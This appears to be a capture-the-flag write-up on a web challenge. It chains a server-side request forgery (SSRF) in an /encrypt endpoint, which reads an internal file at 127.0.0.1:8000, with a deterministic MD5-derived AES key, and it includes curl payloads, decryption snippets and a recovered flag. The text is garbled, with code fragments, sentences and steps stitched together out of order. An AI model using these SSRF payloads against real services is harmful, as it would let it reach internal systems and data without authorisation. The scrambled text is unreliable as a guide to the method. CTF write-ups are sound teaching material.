V2.fams.cc -

curl -s -X POST http://v2.fams.cc/encrypt \ -d "url=http://127.0.0.1:8000/secret/flag.txt&key=ssrf" \ -o response.json Result ( response.json ):

# Remove PKCS#7 padding pad_len = pt[-1] flag = pt[:-pad_len].decode() print(flag) Running it yields:

curl -v -X POST http://v2.fams.cc/encrypt \ -d "url=http://example.com&key=testkey" The response JSON:

iv_ct = open('/tmp/enc.bin','rb').read() iv, ct = iv_ct[:16], iv_ct[16:] v2.fams.cc

#!/usr/bin/env bash TARGET="http://v2.fams.cc" SSRF_URL="http://127.0.0.1:8000/secret/flag.txt" KEY="ssrf"

>>> import hashlib >>> hashlib.md5(b'testkey').hexdigest() '3d2e4c5a9b7d1e3f5a6c7d8e9f0a1b2c' The server also generates a random 16‑byte IV and prefixes it to the ciphertext (standard practice). The download URL returns a that is exactly IV || ciphertext . 4. Exploiting the SSRF The url parameter is fetched server‑side without any allow‑list. The backend runs on a Docker container that also hosts an internal file‑server on port 8000 . The file‑server’s directory tree (found via a quick port scan on the internal IP 127.0.0.1 ) looks like this:

#!/usr/bin/env python3 import sys, hashlib, binascii from Crypto.Cipher import AES curl -s -X POST http://v2

# 3️⃣ Decrypt locally (Python one‑liner) python3 - <<PY import sys, binascii from Crypto.Cipher import AES

| # | Weakness | Why it matters | |---|----------|----------------| | 1 | | The backend fetches any URL you give it, even internal services (e.g., http://127.0.0.1:8000 ). | | 2 | Predictable encryption key derivation | The key is derived from the user‑supplied “key” string in a deterministic way (MD5 → 16‑byte key). | | 3 | Insecure storage of the secret flag | The flag is stored unencrypted on the internal file‑server that the SSRF can reach ( /flag.txt ). |

At first glance the service looks harmless, but a closer look reveals three exploitable weaknesses that can be chained together: Exploiting the SSRF The url parameter is fetched

FLAGv2_faMS_5SRF_3xpl0it_0n_Th3_WeB That is the required flag. For completeness, the whole attack can be automated in a single Bash+Python pipeline:

By abusing the SSRF to read the internal flag file, then using the deterministic encryption routine to decrypt it (the service returns the ciphertext and the key it used), we can recover the flag. 2.1. Basic browsing $ curl -s http://v2.fams.cc Result – a tiny HTML page: